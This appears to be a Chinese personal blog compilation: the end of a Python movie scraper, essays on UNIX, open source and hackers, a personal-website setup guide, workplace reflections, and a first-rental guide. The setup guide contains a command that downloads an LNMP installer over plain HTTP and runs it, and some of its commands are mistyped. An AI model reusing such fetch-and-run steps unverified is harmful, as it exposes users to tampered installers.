    # 在前端代码中查找相应的匹配数据
    cover = re.search(cover_pattern, html).group(1).strip() # strip delete space in start and end part
    name = re.search(name_pattern, html).group(1).strip()
    categories = re.findall(categories_pattern, html)
    published_at = re.search(published_at_pattern, html).group(1) if re.search(published_at_pattern, html) else None
    score = float(re.search(score_pattern, html).group(1).strip())
    drama = re.search(drama_pattern, html).group(1).strip() 
    
    # 将所获取的数据以字典的形式进行返回
    return {
        'cover': cover,
        'name': name,
        'categories': categories,
        'published_at': published_at,
        'drama': drama,
        'score': score
    }

# 功能：将获取到的数据以.json形式存储
# 参数：数据
# 返回值类型：None
def save_data(data):
    name = data.get('name')			            # 获取电影名称
    data_path = f'{RESULTS_DIR}/{name}.json'                # 根据电影名称，规定相应电影的文件名
    json.dump(data, open(data_path, 'w', encoding='utf-8'), 
                         ensure_ascii=False, indent=2)      # 将数据写入文件

# 功能：爬取并保存电影信息
# 参数：网站当前页数
# 返回值类型：None
def main(page):
    index_html = scrape_index(page)             # 获取当前页面下的前端代码
    detail_urls = parse_index(index_html)       # 获取当前页面下所有电影的URL
    for detail_url in detail_urls:
        detail_html = scrape_detail(detail_url) # 获取每部电影页面的前端代码
        data = parse_detail(detail_html)	# 获取每部电影的信息
        logging.info('get detail data %s', data)
        logging.info('save data to json data')
        save_data(data)				# 将获取到的信息进行存储
        logging.info('data saved successfully')

if __name__ == '__main__':
    pool = multiprocessing.Pool(processes=4) # 构造进程池，并将进程数设为4
    pages = range(1, TOTAL_PAGE + 1)	     # 构造页面数
    pool.map(main, pages)                    # 将 pages 作为参数传入到 main() 当中，
    					     # 并将每一次 main() 函数调用作为一个进程，
    					     # 加入到进程池当中
    pool.close()  			     # 等待worker进程结束再关闭进程池
    pool.join()   			     # 防止主程序在worker进程结束前结束

```


# 对 UNIX 新的认识

### 前言

感谢笔者的高中物理老师，让笔者明白研究一个领域，应当先去考察这个领域的历史，了解这个领域中前人的相关工作，并向这些前人致以崇高的敬意！

### 什么是 UNIX？

操作系统是一个人机接口，实现了人机交互。目前主流的操作系统有 Windows、macOS 以及 Linux。追本溯源，它们有一个共同的祖先 —— UNIX。最近一周，阅读了一本好书《UNIX传奇：历史与回忆》，让笔者对 UNIX 有更深入的了解。&#x20;

1969年 Ken Thompson 所在的贝尔实验室撤出了对Multics 项目的研究，这让 Ken Thompson 感到不开心，于是他用了三周的时间重写了一个操作系统 UNiplexed Information and Computing System（UNICS），后来改称为UNIX。1973年，UNIX 的另外一个重要贡献者，Dennis MacAlistair Ritchie 用其开发的C语言重写了UNIX，提高了 UNIX 的可移植性，推动了 UNIX 的应用。到了上世纪 80年代，贝尔实验室开始向部分高校发布了 UNIX 使用许可证。高校的参与使 UNIX 更加完善，其中衍变出了著名的 Berkeley Software Distribution（BSD）。不过这也导致了后来贝尔实验室与伯克利之间的商业战争。但无论如何，UNIX 是一个计算机世界的奇点，改变了全世界。

那时的贝尔实验室群英荟萃，聚集了各个领域的世界顶尖大师，再加上管理层的英明管理与充足资金，研究人员所能获取到的资源丰富且工作韧性极大。在宽松自由的工作环境下（真是令人向往，工作不再是一种负担，而是一种乐趣），伟大观念的交织，碰撞出了 UNIX 这样伟大的作品也不足为奇。还有当时的研究人员必须得在公司用午餐，他们在吃饭期间互相交流探讨，一起饭后散步，光在这期间就不知道有多少 idea 诞生。据中科院微信公众号的官方推文，中科院的研究人员在研究之余也会经常在一起喝咖啡，其中的道理也是异曲同工。

读完本书，有两点令笔者印象深刻：

1. Uni 与 Multi 相对，UNIX 追求简洁；

   > “一次只做好一件事。如果有新需求，可以添加新特性，而不应该在原有的版块增添新的内容，而最终导致整个版块过于复杂。”&#x20;
2. 观念导致人的差异。“物以类聚，人以群分”。我们需要多阅读伟大的作品，从伟大的观念中汲取养分，从而提升自身。优秀的头脑是会互相吸引的，就像书中提到的那位受到贝尔实验室邀请的实习生，原本在犹豫是否入职，后来参观了一圈贝尔实验室的长廊，发现长廊上挂满了对在贝尔实验室工作的伟大人物的介绍，逛完了长廊，实习生就决定要加入贝尔实验室。


# Great works are connected

Recently, I read a book called *UNIX legend: A history and a memoir*, where an article named *"You and your research"* was highly recommened. So I just googled it and spent about two hours reading it. Now, my feeling just like my title said.

There is no doubt that this article is excellent. Author Kernighan, shared his thoughts about how to make great research. As for me, I'm just a student now so I didn't get inspiration about research from it, but still gained something while reading it.

1. Luck doesn't cover everything.&#x20;
2. One of the most important thing is courage when you set your mind to do something great. How much vigor you put depends your ceiling and how brave you are depends your floor. Ask yourself, "Whar are the important problems in your filed?". Then work on important things, keep emotionally invovled. Just as MIT said in their addmission criteria——"passion for difficulty".&#x20;
3. Keep modesty.&#x20;
4. Meeting a problem, think it carefully by yourself first, even woolgather. Then do everything you can to sovle it.


# 开源与黑客

最近读完了传说中的开源圣经《大教堂与集市》，记录一下读此书的所思所感。

### 对计算机发展的整体感知&#x20;

计算机的整体历史并不算长，但其发展颇为迅速，不到一百年的时间翻天覆地。为什么能发展得这么快？笔者想人力物力的大量投入是原因之一，但背后更多的是基础学科数千年的丰厚积淀。没有数学物理化学，计算机的晶体管、电子电路、界面交互、网络通信等一系列操作是不可能实现的。按照西方的观点，理化可以追溯到数学，数学可以追溯到哲学。因此学习应致广大而尽精微，笔者得继续寻找有关数学和哲学方面的书籍进一步阅读。到这有点明白，师父推荐给笔者的为什么不是有关计算机的书籍，而是《数学：它的内容、方法与意义》。&#x20;

其次，计算机作为一种商品流入到我们的日常生活，背后一定有相应的服务商和开发商。有了市场和经营主体，就有了残酷的市场竞争以及不为人知的商业利益争夺，企业之间优胜劣汰，并购行为变成兵家常事。进一步来说，市场活动属于经济范畴，而经济受到政策的约束，政策的制订涉及到政治主体——政府。 政府的意向几乎决定了大的市场背景是怎样的。这是因为：

1. 政府拥有政治权力对市场进行管控；
2. 政府拥有巨额的资金，可以负担得起“天文数字” level 的费用，政府一旦作为需求方出现，注定成为市场竞争的香饽饽，谁拥有了政府的订单，谁就大概率在这场市场的角斗中成为胜者，就像拥有美国国防部订单的洛克希德马丁公司和波音公司

笔者逐渐认识到事物不是非黑即白的，影响其发展的因素是混沌的，是纷繁复杂的。

### 大教堂与集市&#x20;

大教堂的模式其实是我们每个人都熟知的，它是指系统集中化的管理与运行方式。以学校的管理方式举例：*班级 → 班主任 → 年段长 → 教务主任 → 校长 → 教育局 → 教育部。*&#x8FD9;样自底向上的管理模式相信每个人都曾体会过。&#x20;

那么不禁追问，集市又是什么呢？集市实质上与菜市场无异。菜市场上，来自各地的叔叔阿姨们每天起早贪黑在菜市场中抢占优质摊位，售卖自己的商品。相对于学校的管理方式，菜场的管理是相对松散的，没人管你从几点卖菜，卖到几点收摊，也没人管你采取什么样的销售方式，只要遵守好市场管理局制订的规则就行了。&#x20;

这两种模式运用到项目开发上，你更信任哪一种模式产出的产品呢？是选择大教堂模式下数量恒定、管理有序的“精英团队”；还是选择集市模式下管理松散、项目贡献者可能来自世界各地的团队呢？

笔者似乎下意识就选择了前者，但问题扑面而来。为什么现在超算前 500 强跑的都是 Linux 呢? Apache 为什么能取得成功呢？为什么 github 的全球用户已经超过了 7300 万呢？ 笔者不知道这些问题的答案。 大教堂与集市这两种模式的表述是简单的，但对于这二者深层次的逻辑区分，现在的笔者不能体悟。笔者只知道，作为一个计算机学习者以及一个未来可能的开发者，当读&#x5230;**“源码与你同在”**&#x8FD9;样的话语时，它似乎一下子自然而然地打动了笔者的心。

### 开源与闭源

闭源是一种选择，能够更好地保护自己的商业利益，维持自己的市场竞争优势，从而在残酷的市场环境下存活下来。但是对于一个项目 / 软件想要正常的运行，运维是必不可少的，而运维是要占据开发者大量的精力。在开发者的数量是恒定的情况下，开发者的一大部分精力被运维占用了，那就注定开发者会减少在研发新特性、新技术的精力投入。

而如果一个产品失去了能够打动消费者的新特点，也许为该产品 pay bill 的用户会越来越少，营收减少导致利润减少，利润的降低经过“现实”这个编译器，意思就是项目组的成本必须下降，于是接下来的市场行为是让一部分人滚蛋，整个项目开始陷入恶性循环，越来越少的开发者维护该项目，越来越少的开发者开发新特点，该项目的用户逐渐流失。在赢者通吃的规则下，除非是达到垄断级别的开发商，其它的开发商都面临着“一招不慎，满盘皆输”的风险，一旦 lose，等待他们的结果就是埋没在历史的潮流之下，然后无声无息得消失。

那么选择开源呢？把源码开放给全世界，每个人都拥有参与使用该项目的机会，相比于闭源来说，更容易给人带来一种尊重感，也更想去尝试一下。那么这个项目的参与者可能就会逐渐增加，只要眼睛多，bug  容易捉，该项目在管理妥当的前提下，会变得更加完善，在此过程还可以获得同行评审。并且项目的主体负责人不需要为全世界参与该项目的开发者们买单，成本直线下降。遵照礼物文化，贡献者们也会因为自己对开发作出的贡献而获得相匹配的声望与名誉，双赢。&#x20;

但是开源似乎让项目主体负责人失去了垄断该项目带来的巨额收益，看上去血亏。然而市场调研发现，软件开发的利润只有 **5%** 来自于软件售卖，**95%** 来自于软件更新与维护带来的后期收入。因此该书的一个核心观点是：软件带来的利益不是如拍卖般的一锤子买卖。软件不是制造业，而是服务业！

qq、微信、支付宝、淘宝、京东和王者荣耀这些应用的使用为什么不收费？构建起一个用户生态，从而发展更多更可观的业务，相比临时收费数十元或者数百元的软件费用，哪一个更香呢？哪一个能帮助企业活得更长久呢？ 我们又有疑问了，难道不收费一定就是好的嘛？其实我们身边也不乏像 goodnotes、老头环等收费软件。每个产品的定位不同，发展路线也不同吧。对此，没有唯一的评判标准。

### 黑客

如果问小时候的笔者，什么是黑客？答：他们身披黑色斗篷，带着经典的白色面具，他们在互联网世界里无所不能，可以随心所欲地获得各种权限，干一些“非常炫酷”的事情。现在才明白，干这种“炫酷”事情的人应该叫 cracker（骇客），他们不是真正的黑客。

因为真正的黑客应该是怀着对技术的热爱，永无止境地追求更好的技术，并让技术造福全世界。黑客和骇客的核心区别在于：黑客搞建设，骇客搞破坏。对黑客这样的定义也恰好符合了笔者高中时期对未来的愿景，“此生只要能为这个世界作出一点点善的改变就好啦”。&#x20;

学习知识本身是枯燥无味的，因此学习知识 / 技术 → 需要源动力，源动力 → 好奇心，好奇心→ 善于提问，问题 → 这件事情足够有趣以至于吸引人浮想联翩。而计算机是一个充满迷人问题的世界，每一个问题拓展下去都是广博且精深的，研究这些问题需要敏锐的思维、全神贯注的专注以及出类拔萃的动手能力。

而笔者自信具备这些素养的基础，于是乎就出发吧！**辛苦的工作和投入将成为紧张的比赛而不是苦工，动手开发将带给我无穷的乐趣！！**


# 搭建个人网站

以下内容已按搭建网站的过程排序

### 方法一: 服务器 +自定义配置

* 购买服务器与域名：
  * 具体购买请参照个人需求自行选择 可以前往[腾讯云](https://cloud.tencent.com/act/2022season?fromSource=gwzcw.5729214.5729214.5729214\&utm_medium=cpc\&utm_id=gwzcw.5729214.5729214.5729214\&gclid=EAIaIQobChMIqZOdq-qt9gIVsyCtBh2M4wWiEAAYASAAEgJ_l_D_BwE) / [阿里云](https://cn.aliyun.com/?utm_content=se_1010304256\&gclid=EAIaIQobChMI8tfFg-ut9gIVuiCtBh19mg53EAAYASAAEgKGFvD_BwE)购买完成后根据相关指导进行备案
* 进行域名的备案与解析：
  * 域名的备案可参考各服务平台的文件, 购买完服务器后可以获得公网 IP，域名的解析使域名变成可以登录的网址。
  * IP 地址是网络上标识站点的数字地址，为了方便记忆，采用域名来代替 IP 地址标识站点地址。域名解析就是域名到 IP 地址的转换过程。域名的解析工作由 DNS 服务器完成。域名解析也叫域名指向、服务器设置、域名配置以及反向 IP 登记等等。说得简单点就是将好记的域名解析成 IP，服务由 DNS 服务器完成，是把域名解析到一个IP地址，然后在此 IP 地址的主机上将一个子目录与域名绑定。域名解析即把公网 IP 配置到域名中即可(可在相关服务商的云上完成操作)
  * 判断是否完成域名解析: 打开 cmd->ping 域名(如 baidu.com) -> 返回时间即解析成功
    * ping 命令是发送 4 / 5 个 ICMP 数据包，根据返回的数量来确定网络的通断和延迟。ICMP 数据包是一种网络通信数据包。ICMP 是 “Internet Control Message Protocol”（Internet控制消息协议）的缩写。它是 TCP/IP 的一个子协议，用于在 IP 主机、路由器之间传递控制消息。ICMP 控制包是指用于探查网络通不通、主机是否可达、路由是否可用等网络问题的消息。
* 配置个人网站：
  * 如果想省事，也可以直接花 money，借助 [wordpress](https://wordpress.com/start/domains) / [appnode](https://www.appnode.com/) 直接一键式建站，则可自动跳过以下所有步骤，如果并不愿意采取这种方式，请您移目下方。
  * 参考 [LNMP](https://bkcat.cn/index.php/page/5/lnmp.org), LNMP 指的是 Linux 系统下 Nginx+MySQL+PHP 这种网站服务器架构。
  * 安装完 LNMP 后，接下来的步骤可参考，readme文件或如下步骤
    * 安装 wget 命令: 使用 ssh 命令远程登陆服务器, 执行 `apt -get install wget` 命令。确认是否成功安装的命令: `dpkg -l | grep wget`
    * 执行 `screen S -lnmp`
    * 执行 `wget` [`http://soft.vpser.net/lnmp/lnmp1.8.tar.gz`](http://soft.vpser.net/lnmp/lnmp1.8.tar.gz) `-cO lnmp1.8.tar.gz && tar zxf lnmp1.8.tar.gz && cd lnmp1.8 && ./install.sh lnmp`
  * 成功安装 Nginx+MySQL+PHP 后，根据喜好选择博客系统 [typecho](https://typecho.org/) / [wordpress](https://wordpress.org/)以下对typecho 的安装进行说明。
    * 进入 [typecho](https://github.com/typecho/typecho/releases/tag/v1.2.0-beta.2) 安装 typecho.zip，而后解压。将解压好的文件通过 scp -r 上传至网站的根目录。而后在浏览器上访问自己的网站，应该就可以开始 typecho 的配置啦！接着就一步一步跟着其指导往下做即可。
  * 如果不想采用 LNMP 部署的话，也可尝试 docker 部署，笔者能力有限无法进行具体过程说明。可参考 [docker](http://hub.docker/)。

### 方法二：借助现有的平台，免费建站:

* [凡科建站](https://jz.fkw.com/?_ta=9240&_kw=258240)等一键式建站，可在知乎中查找到许多类似的网站。

<br>


# 上班随想第二集

落笔于超出预期完成长达61天的项目之后

上周六晚，与客户挥手告别后，并没有如预期般感到如释重负。紧接着看完《给阿嬷的情书》，回到家躺在床上，发现大脑皮层的兴奋信号已无法被抑制，接受自己只能等待昏睡降临的事实。起身盘坐，开始复盘。

发现自己当下的情绪方差其实已经很小。可回想上班随想系列的[开篇之作](https://blog.kaisuping.cn/life/shang-ban-sui-xiang)，当时为什么会有那么大的情绪波动？大概有以下几个原因：

1. 逃避现实；
2. 宣泄情绪，安慰自己；
3. 没有形成稳定的正反馈循环。不只是工作，生活也是如此：我对朋友的依赖需求很高，但近十个月以来，这种需求与现实之间的落差一直很大，并且可能在相当长的时间内继续存在；
4. 当时还没有从理性上认识到，所谓“出路”的可行性并没有想象中那么高，比如社招的年限要求，以及自身工作经历与目标岗位并不完全匹配；
5. 当初毕业论文里提到过三大理想：探索世界、照顾好爸妈、为社会做出一点儿贡献。它们在之前的阶段其实都得到了不同程度的实现。也正因如此，当新的高目标尚未出现时，内心难免会有一点落空。

今年一二月份确实很难熬，但那段经历也显著提升了抗压能力。感受到进步是缓解焦虑最有效的方式。

更深层的认识是：世界的兼容是单向的，只有向下兼容，没有向上兼容。若想拥有向下兼容的余地，就必须尽可能让自己站到更高的位置。无论是财富、人际关系，还是某项运动水平，人们都会自然地寻找与自己水平相近的人同行，因为那样“活化能”最低。试想，Jordan 会享受暴扣幼儿园小朋友的感觉，还是期待 one on one Kobe？水往低处流，人往高处走。站在高处，俯身向下，才有做选择题的资格。

所以自己一直渴望变强。经历了上一个项目，再经历现在这个项目，整个过程中没有哪个时刻让我大脑完全空白；相反，自身行为全程处在理性管控之下，所以无论在哪个领域，实力都是平和面对世界的底气。而我想成为一个**平和有力**的人

近期心态较为平稳，整体较为平静的另外一个原因是：现部门的人际关系和领导认可度在近期形成了很强的正反馈。不过正反馈也削弱了自身勇气，降低了脱离现阶段工作环境的动力。温水煮青蛙的残酷，与铁杵磨成针的坚持，向我抛出了另一个问题，如何把握 explore-exploit 的尺度？

当前工作缺点很明显：报酬显著低于互联网同岗；出路窄；与 AI 相关性不强。优点也同样清楚：接触领域广，从芯片研发到一线销售都有所涉猎；有机会出差见世面顺带领补贴；更易于建立人与人之间的连接。

AI 难以替代的东西至少有两样：人的思考+人与人之间的连接。现部门在这两方面，相较于纯开发岗位，确实有一定优势。此外，我也持续参与公司内部 Agent 的使用，因此在 AI 使用方面还不算太落伍。基于以上事实与判断，目前还没有更强烈、更迫切的因素推动我更换岗位。

因此，接下来有哪些事是可以继续做的呢？

1. 开始攒钱。更多的钱意味着更大的试错空间，之前花钱还是花太猛了；
2. 提高学习强度。每天早到工位自学，下班后投入更多时间广泛学习，同时提升身体锻炼强度。吃好、喝好、睡好，保证身体健康；
3. 设立一个期限，观察自己能否触碰到当前接触领域的天花板。

说到底，还是要回到对自身发展路径的认识。首先，我不是天赋型选手，不具备在前期迅速脱颖而出的条件；其次，从过往的学习成绩、运动表现和游戏认知来看，我始终更像是一个 N 边形战士，只不过每条边都还不够长。那么，我到底能把什么事情做好？答案是持续积累，**大后期才是我的主战场**。

个人优势来自长期付出所积累的门槛：向 top 看齐的方法论，以及持续复盘（Record Matters）和高效学习（搭框架+快速迭代）。Attention is all you need。保护好自己的注意力资源，长期坚定地投入身体锻炼和智力训练，和命运打一个关于未来的赌。

任何事情都需要积累。心浮气躁是客观存在，但仍然需要发挥主观能动性，加以克制。认识到自己在生理、心理和社会关系等方面的真实需求，并在问题出现时想办法解决。成长不仅是祛魅，也是控制，注意控制表达，不要总是把语言推向负面，因为情绪的回旋镖终将砸到自己身上。事实上，过去一两个月里，我在很多方面都做得不错：台球五分点创纪录达到 83%，现场看了一场 CBA，也办理了西班牙签证。我始终在践行“Living for fun”。只是，与互联网上那些夸张的进步叙事相比，这些显得微不足道。于是我选择卸载小红书，把精力重新投入到提升自己的正确道路上。

与此同时，摆正对现有工作的心态，客观认识它的复杂性。之前的误区在于，主观上认为开发含金量 >> 测试；但事实上，开发更偏向单点深入，测试更偏向多点开花。两者各有特点，难易之处也并不相同。说来说去，还是回到了“但行好事，莫问前程”。专注于自我提升，过滤外界噪声，做到当前阶段的天花板。至于是走是留，自有天定。

今晚动笔前，看到了一个脱口秀段子：

主持人：“舔狗最大的错误，就是以为陪伴能改变一切。其实不是的，你要提升自己。比如我随便问一个女孩，你最喜欢哪个明星？”

某女性观众：“吴磊。”

主持人：“吴磊陪她了吗？”


# 上班随想

写于一个月来准时下班的第一天

为什么要上班？

因为要挣钱。

为什么要挣钱？

因为要生存。

为什么有钱能生存？

因为钱是一般等价物，可以交换一切社会资源。

要挣多少钱才能生存？

看所处的城市以及个人的消费习惯，还看家里需不需要自己支援。

为了生存，我要挣钱，为了挣钱，我要上班。

为什么你上班就有钱挣？

因为你把自己的劳动力抽象为商品在市场上进行交易，换取到了劳动报酬。

上班意味着什么？

在规定的时间、场所，你的体力、智力不再属于你自己，而属于他人。你把自己物化为他人的工具，成为他人意志的执行者。有 5/7 醒着的自由被剥夺了。

真的是这样的吗？

“选对事业白天幸福，选对伴侣夜晚幸福”。如果你的事业是你所热爱/喜欢的，那么你上班既挣了钱，又挣回了一部分自由。

那如果事业不是你所喜爱的呢？

退休/想办法爱上它/辞职换一份工作/家里有底回家孝敬父母。相比于丛林斗争血肉相搏才能存活，出卖一部分自己换取活下去，忍忍去上班也并非不可。否则又能怎么办呢。

为什么上班了就很怀念上学呢？

经济不用操心+有很大的自由空间+正值青春年少心里约束少。

经济独立不了，我能不能就是不去上班呢？

我不知道，我也不想上班。我打心底讨厌成为别人的工具，这让我越来越笨，我无法忍受这样的事情发生。我希望我能充分发挥自己的主观能动性，去做自己想做的事情，比如运动/阅读/学习计算机。我希望自己能有一段时间去思考 something，去做一些 search，去搞明白一些事情，而不是无止尽的 dll，无止尽的开会对齐，无止尽的被要求 do something。

职级很重要，钱更重要，面子当然也同样重要，这些都是我能在社会上舒舒服服生存下去的关键。

但难道没有什么是比这些更加重要的吗？

图灵奖得主说“I don't have much insight about future, just do the things you really care about”，这句话在我脑子里挥之不去。我明白：我不知道我应该去做什么，但我清楚自己不喜欢当前的工作。尽管我可以凭借责任心把工作做好，但我没有热爱，没有 passion 驱动，每天躺在床上我都不期待第二天到来，这样的生活状态是很糟糕的。与之形成对比的是，吃 KFC 早餐时刷到 Linus 在一场访谈中提到“我的本职工作是驱动千亿个晶体管，但我的爱好是研究两三个晶体管”，Linus 所谈及的编程让我久久回味心潮澎湃，我知道这是热爱，这不会说谎。

我能想到的破局之道，就是创造机会去做自己想做的事情，把它做得精通、专业，这样我就能吃上饭能挣着够生存的钱，从根本上解决上班带给我的困扰。做自己想做的事情，哪怕明天就被埋了，我也只会告诉后人“我\*\*有过精彩的一生”。我问问自己，自己还是喜欢钻研一些东西，一些能够自己 handle 不过度依赖他人的东西，还是比较喜欢科学，比较喜欢计算机。相比于在工业界混，我也许还是更适合去学术界，哪怕学术界也很混乱，但也许能比现在好一些。


# 年轻人的第一次租房

笔者于 2025.06.25 前往东莞租房，于 06.28 在腾讯电子签上进行租房签约，于 06.29 正式入住

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FH7zoKHkv1Qr4EMbMyxAH%2Fimage.png?alt=media&amp;token=6795ee8d-75e7-4fff-aad7-bd4de060e195" alt="" width="344"><figcaption><p>最终租赁房屋的阳台风景</p></figcaption></figure>

## 前期准备

笔者是一名应届毕业生，此前没有租房经验，因此先尝试构建租房概念。概念建立的过程是：独立思考 + 咨询朋友 + 上网搜寻攻略 + 租房软件查阅房源。

### 房屋期望

租房是一项经济活动，需要在期望与预算之间 trade off。笔者目前是单身状态，意向房型是单间与一室一厅，考虑到租住的舒适性 & 未来可能能有 girlfriend，所以更加偏向于**一室一厅**房型。

房屋期望配置：

* **地段**：通勤步行 25min 可达，电驴 15min 可达
  * 时间是最具价值的，所以把地段的优先级提至最高，在前期多投入的金钱用于节省通勤时间，换取未来成长
* 房东：友善且是一房
* 室内：独立卫浴、采光好、洗衣机是洗烘一体 / 有阳台、有厨房、物业管理良好
  * 采光：窗户朝南全天有阳光；朝北全天阴冷；朝西下午有阳光；朝东上午有阳光。需要上午下午各去一次，确保采光
  * 厨房：具备做饭条件会极大提高周末的幸福感

由于笔者入职地在东莞松山湖，松山湖工作区域跨越巨大，故咨询 HR 以获悉具体上班区域，而后结合内部推荐指南 + 地图测距 + 房屋期望配置，得到了预期租房地点的集合｛溪村公寓，湖岸花园，湖畔花园｝。溪村公寓需入职后排队申请，而同为华为人才小区的湖畔花园户型相对湖岸花园差一些（客厅与阳台连接处正中间有一根柱子），故重点关注**湖岸花园**的租赁信息。

### 细节考量

有了预期租房地点后，接下来需要明确如何考察房屋质量。这一步需借鉴朋友经验 + 互联网攻略，系统且有价值的参考资料如下：

* [Weekly #16：年轻人的第二次租房](https://skywt.cn/blog/weekly-16)
* [毕业季最强租房攻略，防骗避坑，看这一个视频就够了！](https://b23.tv/ug8KxZF)

经学习，将租房注意事项总结成以下四个方面：**租房开销、家具电器、房屋租赁合同、Misc**。租房开销与预算强相关；家具电器直接影响入住体验；房屋租赁合同规定了双方的权利与义务；Misc 是指可能影响生活便利性的各类因素。

房租 + 水电 + （物业 + 宽带 + 天然气）组成了**租房开销**。

* 房租主要取决于地段 + 房型，可参考房屋所在小区同户型的市场均价
* 民水民电参考价格：民水 <5元/吨、民电 <1元/度，水电 \~50元/月（不含夏季用电高峰期）
* 非高档小区的物业费一般是 3-5元/平方米·月
* 得到上述参数后，经计算可得租房开销，若在预算范围内可进一步考察，若不在预算范围内直接看下一套房

对于**家具电器**，笔者主要关注其功能是否正常。具体而言，关注电器品质（如能耗等级）、所有开关是否正常工作、各类出水口（如水龙头、淋浴头、马桶）出水速度与出水量、地漏渗水速率、家具是否破损。

毕竟家具电器是房东购买 / 前租客遗留，不可能所有东西都称心如意，因此对于有损坏且无法正常使用的家具电器，可以与房东协商，看是否能丢弃 / 更换。另外根据好友推荐，可以在啄木鸟 app 上预约家电清洗服务，对专业的电器（如洗衣机、空调、冰箱）进行清洗。

**房屋租赁合同**显式规定了房东与租客的权利与义务，所以应尽可能写得详细具体，笔者考虑的细节如下：

* 确认房东是房屋所有者：身份证复印件 + 房产证
* 租期、费用支付方式（押金数额）
* 交房时间与形式
* 提前退租 / 转租的处理方式

此外，可以参考[商品房屋租赁管理办法第七条](https://www.gov.cn/zhengce/2022-01/25/content_5711968.htm#:~:text=%E7%AC%AC%E4%B8%83%E6%9D%A1%E3%80%80%E6%88%BF%E5%B1%8B%E7%A7%9F%E8%B5%81%E5%BD%93%E4%BA%8B%E4%BA%BA%E5%BA%94%E5%BD%93%E4%BE%9D%E6%B3%95%E8%AE%A2%E7%AB%8B%E7%A7%9F%E8%B5%81%E5%90%88%E5%90%8C%E3%80%82%E6%88%BF%E5%B1%8B%E7%A7%9F%E8%B5%81%E5%90%88%E5%90%8C%E7%9A%84%E5%86%85%E5%AE%B9%E7%94%B1%E5%BD%93%E4%BA%8B%E4%BA%BA%E5%8F%8C%E6%96%B9%E7%BA%A6%E5%AE%9A%EF%BC%8C%E4%B8%80%E8%88%AC%E5%BA%94%E5%BD%93%E5%8C%85%E6%8B%AC%E4%BB%A5%E4%B8%8B%E5%86%85%E5%AE%B9%EF%BC%9A)拟订房屋租赁合同。根据好友的经验，最好能争取显式约定租赁期间房东不得随意进出，如果要来的话要提前告知，不得带其他人前来看房；不续租或者涨租金需要提前告知，否则需要进行补偿。

**Misc**：

* 隔音：是否临街 + 入户门隔音 + 楼层高低
* 空气质量：需留意室内是否存在异味。尤其是新装修的房屋，应确认装修完成时间，警惕甲醛等有害物质残留
* 规避隔断房：隔断房不仅居住体验差，更存在消防等安全隐患，且属于政策法规不允许的出租形式。《商品房屋租赁管理办法》规定，厨房、卫生间、阳台和地下储藏室不得用于居住。租房时应选择以原始设计的房间作为最小出租单位。在预算充足的情况下，还是尽可能不要租住隔断房。隔断房辨别办法：[小白租房如何识别隔断墙？](https://www.zhihu.com/question/365519882)
* 生活设施：实地考察房屋周边的配套设施，例如步行距离内的超市、餐馆、菜市场、快递点以及地铁/公交站的位置
* 前租户费用结清：向房东或物业核实，确认前租户所有账单均已结清，并保留相关凭证，避免承担不必要的旧账
* 门锁安全：非智能门锁考虑更换锁芯，智能门锁考虑恢复出厂设置并重新设置密码、指纹、人脸

## 看房经历

有了前期准备后，对后期看房有没有帮助呢？答案是：有但不多。

首先在寻找房源便卡上了 bug：

1. 传统看房是通过中介寻找意向地段的意向房源，由于中介手上有大量房源，所以看房效率极高。笔者本来也想采用类似方法，但可能是因为某项政策，华为人才小区（指上文提到的湖岸花园与湖畔花园）的所有房源均未在租房软件（如贝壳、链家、自如）公开出租，意味着笔者无法从中介获取房源信息并预约看房；
2. 根据内部租房指南，想租在华为人才小区，得用 w3 账号登录到心声社区上查找。尴尬的是，尚未入职的笔者没有 w3 账号。

由于以上 bug，笔者只能求助于 HR，麻烦 HR 从心声社区帮忙获取租房信息，并拉笔者进微信租房群。好在 HR 小姐姐非常上心，帮笔者找房源的同时，主动帮笔者发布求租信息，因此陆陆续续也加上了十多位房东。初步了解房源信息后，形成以下租房公式：

1. 微信申请用语，“房东您好，我这边有租房意愿，想了解一下房源～”；
2. 加好友后，“房东您好，这边想要了解一下房源照片、租金、租期与楼层～”；
3. 有意愿继续了解的话，与房东沟通看房时间与入住时间。

笔者打算参加 6.20 毕业典礼，所以在 6.20 前只能线上看房。线上看房过程中遭遇了各种情况，比如还没加上房东就被告知房子已经租出去了，或者看了房源照片觉得未达到预期，又或者房源看起来挺满意的但是楼层在 3楼，亦或房源看起来是干净整洁，欲付定金时却被告知房源已出租。因为线上看房无法像线下看房那样即时决策，因此难以在与其他线下租客的竞争中获得优势，在一室一厅房源稀少市场竞争激烈的背景下，线上看房只能起到初步筛选的作用，而无法真正锁定房源。综上，线上看房只能看个热闹，实际起作用还得是线下看房。

笔者于 6.25 驱车 700km 从长沙直奔东莞，当晚看了第一套房。由于时间较晚，所以房东直接给了入户门密码，让笔者自行看房。家具电器没有功能上的问题，但是排布总给人一种怪怪的感觉。超长的电视柜上只有一个小小的电视；冰箱摆放在客厅最靠近阳台的角落，既不方便取用食物又挤占了客厅进出阳台的通道；卧室唯一充电插口紧挨着一个 2m 宽的衣柜，衣柜挨着床头柜，床头柜挨着床，床挨着飘窗。衣柜对一个人住显然太大，而且挡住了充电插口。床紧贴飘窗，如果你想拉窗帘，唯一的办法就是踩在床上。这些真的对吗......

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2Fapb9WHedH6Oqhlp6CGTe%2Fde6ace846c677af2fdd42bd2872cf35b.png?alt=media&amp;token=5fb4dac9-f8a9-49cf-8874-db430d184ae1" alt="" width="375"><figcaption><p>房屋布局</p></figcaption></figure>

总的来说，家具电器一个人住太冗余，两个人住又不够用。同笔者一起前往的好友柳指出：这房子给人感觉是拼凑出来的，颇为同意。这一套房被笔者移出了考虑范畴。

笔者看的第二套房是由现租客接待的，这大大提升了笔者的期待，毕竟租客最懂房子的痛点。一开门，发现现租客是一位小姐姐，心里又踏实了一分。一般来说女孩子心更细，对房屋、房东的要求下限应该会高于笔者，既然现租客可以在此房屋租住一年，那么笔者住应该是没啥大问题。check 家具电器，功能没问题，还有沙发床 + 大电视，同时品质远高于第一套房，卧室布局也十分合理。之后，笔者与现租客聊起了天。现租客非常坦诚，详细回溯了过去一年的租房经历，她特别说明若非工作需要，租住此处交通不便，否则绝对不搬。此外，她特别给予了房东高度评价。

笔者问，“房东事很少吧？”

现租客，“不是事少，是根本没事。”

